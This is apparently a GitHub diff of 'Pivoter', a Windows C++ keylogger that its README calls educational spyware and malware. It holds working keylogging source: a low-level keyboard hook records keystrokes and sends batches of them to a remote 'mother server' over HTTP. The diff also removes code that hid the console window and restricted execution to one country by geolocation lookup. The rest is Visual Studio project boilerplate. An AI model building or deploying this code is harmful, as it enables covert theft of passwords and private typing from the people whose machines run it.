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compare: 0xdeadbeer:2a80052ffe6ce7308c0601000462c82efef58d79
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11 changed files with 283 additions and 24756 deletions
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60
Pivoter.cpp
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@ -9,60 +9,33 @@
#include <Windows.h> #include <Windows.h>
#include <WinUser.h> #include <WinUser.h>
#include <vector> #include <vector>
#include <thread>
#include "codes.h" #include "codes.h"
#include "connections_pivoter.h" #include "connections_pivoter.h"
#include "security_checker.h"
#define DEBUG TRUE #define DEBUG TRUE
#define KEYS_LIMIT 200 #define KEYS_LIMIT 100
HHOOK keyboard_events_hook; HHOOK keyboard_events_hook;
std::vector<std::string> virt_codes; std::vector<std::string> virt_codes;
std::vector<std::string> thread_codes;
ConnectionsPivoter mother_server_pv = ConnectionsPivoter(); ConnectionsPivoter mother_server_pv = ConnectionsPivoter();
DWORD WINAPI send_codes_thread_function(LPVOID keys) {
std::vector<std::string>* keys_ptr = static_cast<std::vector<std::string>*>(keys);
bool res = mother_server_pv.send_codes(*keys_ptr);
if (DEBUG && !res) {
std::cout << "Failed sending to the mother server!" << std::endl;
return 1;
}
return 0;
}
void stack_codes() { void stack_codes() {
if (virt_codes.size() < KEYS_LIMIT) if (virt_codes.size() < KEYS_LIMIT)
return; return;
thread_codes = virt_codes; bool res = mother_server_pv.send_codes(virt_codes);
HANDLE thread = CreateThread(NULL, 0, send_codes_thread_function, &thread_codes, 0, NULL); if (DEBUG && !res)
std::cout << "Failed sending message to the mother server" << std::endl;
virt_codes.clear(); virt_codes.clear();
} }
LRESULT CALLBACK keyboard_callback(int nCode, WPARAM wParam, LPARAM lParam) { LRESULT CALLBACK keyboard_callback(int nCode, WPARAM wParam, LPARAM lParam) {
switch (wParam) { if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) {
case WM_KEYDOWN:
case WM_SYSKEYDOWN:
case WM_KEYUP:
case WM_SYSKEYUP:
KBDLLHOOKSTRUCT* kbd_struct = (KBDLLHOOKSTRUCT*)lParam; KBDLLHOOKSTRUCT* kbd_struct = (KBDLLHOOKSTRUCT*)lParam;
DWORD virt_code = kbd_struct->vkCode; DWORD virt_code = kbd_struct->vkCode;
std::string prefix; std::string string_key_code = VIRTUAL_KEY_CODE_TABLE[virt_code].name;
switch (wParam) {
case WM_KEYDOWN:
case WM_SYSKEYDOWN:
prefix = "DOWN_";
break;
case WM_KEYUP:
case WM_SYSKEYUP:
prefix = "UP_";
break;
}
std::string string_key_code = prefix + VIRTUAL_KEY_CODE_TABLE[virt_code].name;
if (DEBUG) { if (DEBUG) {
std::cout << "Key pressed: " << string_key_code << std::endl; std::cout << "Key pressed: " << string_key_code << std::endl;
std::cout << "Len of the vector: " << virt_codes.size() << std::endl; std::cout << "Len of the vector: " << virt_codes.size() << std::endl;
@ -70,23 +43,13 @@ LRESULT CALLBACK keyboard_callback(int nCode, WPARAM wParam, LPARAM lParam) {
virt_codes.push_back(string_key_code); virt_codes.push_back(string_key_code);
stack_codes(); stack_codes();
break;
} }
return CallNextHookEx(keyboard_events_hook, nCode, wParam, lParam); return CallNextHookEx(keyboard_events_hook, nCode, wParam, lParam);
} }
/* int main(int argc, char **argv) {
ARGUMENTS:
- 1: initial mother server ip
- 2: whitelisted country
*/
int main(int argc, char** argv) {
// security Checks if (argc != 2) {
if (!check_country(argv[2]))
return 0;
if (argc != 3) {
std::cout << "Error: wrong use of arguments!" << std::endl; std::cout << "Error: wrong use of arguments!" << std::endl;
return 1; return 1;
} }
@ -94,11 +57,8 @@ int main(int argc, char** argv) {
if (DEBUG) if (DEBUG)
for (int i = 0; i < argc; i++) for (int i = 0; i < argc; i++)
std::cout << "Argument " << i << " value: " << argv[i] << std::endl; std::cout << "Argument " << i << " value: " << argv[i] << std::endl;
else
ShowWindow(GetConsoleWindow(), SW_HIDE);
mother_server_pv.url = argv[1]; mother_server_pv.set_url(argv[1]);
mother_server_pv.allowed_country = argv[2];
keyboard_events_hook = SetWindowsHookExA(WH_KEYBOARD_LL, keyboard_callback, 0, 0); keyboard_events_hook = SetWindowsHookExA(WH_KEYBOARD_LL, keyboard_callback, 0, 0);

31
Pivoter.sln Normal file
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@ -0,0 +1,31 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 17
VisualStudioVersion = 17.4.33122.133
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Pivoter", "Pivoter.vcxproj", "{0DD3FBD7-13EE-47B2-9117-5C6B6DD9FF8E}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{0DD3FBD7-13EE-47B2-9117-5C6B6DD9FF8E}.Debug|x64.ActiveCfg = Debug|x64
{0DD3FBD7-13EE-47B2-9117-5C6B6DD9FF8E}.Debug|x64.Build.0 = Debug|x64
{0DD3FBD7-13EE-47B2-9117-5C6B6DD9FF8E}.Debug|x86.ActiveCfg = Debug|Win32
{0DD3FBD7-13EE-47B2-9117-5C6B6DD9FF8E}.Debug|x86.Build.0 = Debug|Win32
{0DD3FBD7-13EE-47B2-9117-5C6B6DD9FF8E}.Release|x64.ActiveCfg = Release|x64
{0DD3FBD7-13EE-47B2-9117-5C6B6DD9FF8E}.Release|x64.Build.0 = Release|x64
{0DD3FBD7-13EE-47B2-9117-5C6B6DD9FF8E}.Release|x86.ActiveCfg = Release|Win32
{0DD3FBD7-13EE-47B2-9117-5C6B6DD9FF8E}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {0D148B3E-B492-4BE5-BA0E-998AE97A8B1F}
EndGlobalSection
EndGlobal

152
Pivoter.vcxproj Normal file
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@ -0,0 +1,152 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{0dd3fbd7-13ee-47b2-9117-5c6b6dd9ff8e}</ProjectGuid>
<RootNamespace>Pivoter</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
<UseOfMfc>Static</UseOfMfc>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
<UseOfMfc>Static</UseOfMfc>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
<UseOfMfc>Static</UseOfMfc>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
<UseOfMfc>Static</UseOfMfc>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<AdditionalIncludeDirectories>C:\Users\unknown\source\repos\pivoter-client\curl\include</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>"C:\Users\unknown\source\repos\pivoter-client\curl\lib\libcurl_a.lib"</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<AdditionalIncludeDirectories>C:\Users\unknown\Downloads\curl-7.87.0-win64-mingw\curl-7.87.0-win64-mingw\include</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>C:\Users\Unknown\Downloads\curl-7.86.0\curl-7.86.0\builds\libcurl-vc16-x64-debug-static-ipv6-sspi-schannel\lib\libcurl_a_debug.lib;%(AdditionalDependencies)</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<AdditionalIncludeDirectories>C:\Users\unknown\source\repos\pivoter-client\curl\include</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>"C:\Users\unknown\source\repos\pivoter-client\curl\lib\libcurl_a.lib"</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="connections_pivoter.cpp" />
<ClCompile Include="Pivoter.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="base64.h" />
<ClInclude Include="codes.h" />
<ClInclude Include="connections_pivoter.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

36
Pivoter.vcxproj.filters Normal file
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@ -0,0 +1,36 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="Pivoter.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="connections_pivoter.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="codes.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="connections_pivoter.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="base64.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
</Project>

9
README.md
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@ -1,10 +1 @@
# Pivoter # Pivoter
Pivoter (Client) is an educational spyware built specifically for Windows devices.
It uses the WinApi to log keystrokes and sends them to the [Pivoter Server](https://github.com/0xdeadbeer/pivoter-server).
Data is encrypted with AES-128, converted to base64, and sent to the Pivoter Server through a webapi (POST requests).
Streams of me developing + testing the malware:
- [Adding AES encryption to my malware | Part 1](https://www.youtube.com/watch?v=AoIqvj5wXkg)
- [Adding AES encryption to my malware | Part 2](https://www.youtube.com/watch?v=jZBjbzq6W2c)

52
codes.h
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@ -356,32 +356,32 @@ VIRTUAL_KEY_CODE VIRTUAL_KEY_CODE_TABLE[256] = {
{ 0, "" }, { 0, "" },
{ 0, "" }, { 0, "" },
{ 0, "" }, { 0, "" },
{ VK_KEY_A, "A" }, { VK_KEY_A, "VK_KEY_A" },
{ VK_KEY_B, "B" }, { VK_KEY_B, "VK_KEY_B" },
{ VK_KEY_C, "C" }, { VK_KEY_C, "VK_KEY_C" },
{ VK_KEY_D, "D" }, { VK_KEY_D, "VK_KEY_D" },
{ VK_KEY_E, "E" }, { VK_KEY_E, "VK_KEY_E" },
{ VK_KEY_F, "F" }, { VK_KEY_F, "VK_KEY_F" },
{ VK_KEY_G, "G" }, { VK_KEY_G, "VK_KEY_G" },
{ VK_KEY_H, "H" }, { VK_KEY_H, "VK_KEY_H" },
{ VK_KEY_I, "I" }, { VK_KEY_I, "VK_KEY_I" },
{ VK_KEY_J, "J" }, { VK_KEY_J, "VK_KEY_J" },
{ VK_KEY_K, "K" }, { VK_KEY_K, "VK_KEY_K" },
{ VK_KEY_L, "L" }, { VK_KEY_L, "VK_KEY_L" },
{ VK_KEY_M, "M" }, { VK_KEY_M, "VK_KEY_M" },
{ VK_KEY_N, "N" }, { VK_KEY_N, "VK_KEY_N" },
{ VK_KEY_O, "O" }, { VK_KEY_O, "VK_KEY_O" },
{ VK_KEY_P, "P" }, { VK_KEY_P, "VK_KEY_P" },
{ VK_KEY_Q, "Q" }, { VK_KEY_Q, "VK_KEY_Q" },
{ VK_KEY_R, "R" }, { VK_KEY_R, "VK_KEY_R" },
{ VK_KEY_S, "S" }, { VK_KEY_S, "VK_KEY_S" },
{ VK_KEY_T, "T" }, { VK_KEY_T, "VK_KEY_T" },
{ VK_KEY_U, "U" }, { VK_KEY_U, "VK_KEY_U" },
{ VK_KEY_V, "V" }, { VK_KEY_V, "VK_KEY_V" },
{ VK_KEY_W, "W" }, { VK_KEY_W, "VK_KEY_W" },
{ VK_KEY_X, "X" }, { VK_KEY_X, "VK_KEY_X" },
{ VK_KEY_Y, "Y" }, { VK_KEY_Y, "VK_KEY_Y" },
{ VK_KEY_Z, "Z" }, { VK_KEY_Z, "VK_KEY_Z" },
{ VK_LWIN, "VK_LWIN" }, { VK_LWIN, "VK_LWIN" },
{ VK_RWIN, "VK_RWIN" }, { VK_RWIN, "VK_RWIN" },
{ VK_APPS, "VK_APPS" }, { VK_APPS, "VK_APPS" },

25
connections_pivoter.cpp
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File diff suppressed because one or more lines are too long

7
connections_pivoter.h
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@ -19,12 +19,17 @@
class ConnectionsPivoter { class ConnectionsPivoter {
public: public:
std::string url; std::string url;
std::string allowed_country;
CURL* curl; CURL* curl;
ConnectionsPivoter(std::string url); ConnectionsPivoter(std::string url);
ConnectionsPivoter(); ConnectionsPivoter();
/// <summary>Update the url value</summary>
/// <param name='new_url:'>New url value</param>
void set_url(std::string new_url) {
this->url = new_url;
};
/// <summary>Send an alive signal to the mother server</summary> /// <summary>Send an alive signal to the mother server</summary>
/// <returns>TRUE if successful</returns> /// <returns>TRUE if successful</returns>
BOOL send_alive_signal(); BOOL send_alive_signal();

24596
json/json.hpp
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File diff suppressed because it is too large Load Diff

56
security_checker.cpp
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@ -1,56 +0,0 @@
#define CURL_STATICLIB
#include <iostream>
#include <string>
#include <curl/curl.h>
#include "security_checker.h"
#include "json/json.hpp"
#pragma comment(lib, "Normaliz.lib")
#pragma comment(lib, "Ws2_32.lib")
#pragma comment(lib, "Wldap32.lib")
#pragma comment(lib, "Crypt32.lib")
#pragma comment(lib, "advapi32.lib")
#pragma comment(lib, "User32.lib")
using json = nlohmann::json;
// GLOBAL CONFIG
CURL* curl;
CURLcode res;
size_t write_function(void* delivered_data, size_t size, size_t nmemb, std::string* user_data) {
user_data->append((char*)delivered_data, size * nmemb);
return size * nmemb;
}
bool check_country(std::string country) {
CURL* curl;
CURLcode res;
curl_global_init(CURL_GLOBAL_ALL);
curl = curl_easy_init();
if (!curl)
return false;
std::string string_response;
curl_easy_setopt(curl, CURLOPT_URL, "http://ip-api.com/json/");
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &string_response);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_function);
res = curl_easy_perform(curl);
if (res != CURLE_OK)
return false;
json json_response = json::parse(string_response);
std::string response_country = json_response["country"];
if (response_country != country)
return false;
curl_easy_cleanup(curl);
curl_global_cleanup();
return true;
}

9
security_checker.h
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@ -1,9 +0,0 @@
#ifndef SECURITY_CHECKER_H
#define SECURITY_CHECKER_H
#include <iostream>
#include <string>
bool check_country(std::string country);
#endif SECURITY_CHECKER_H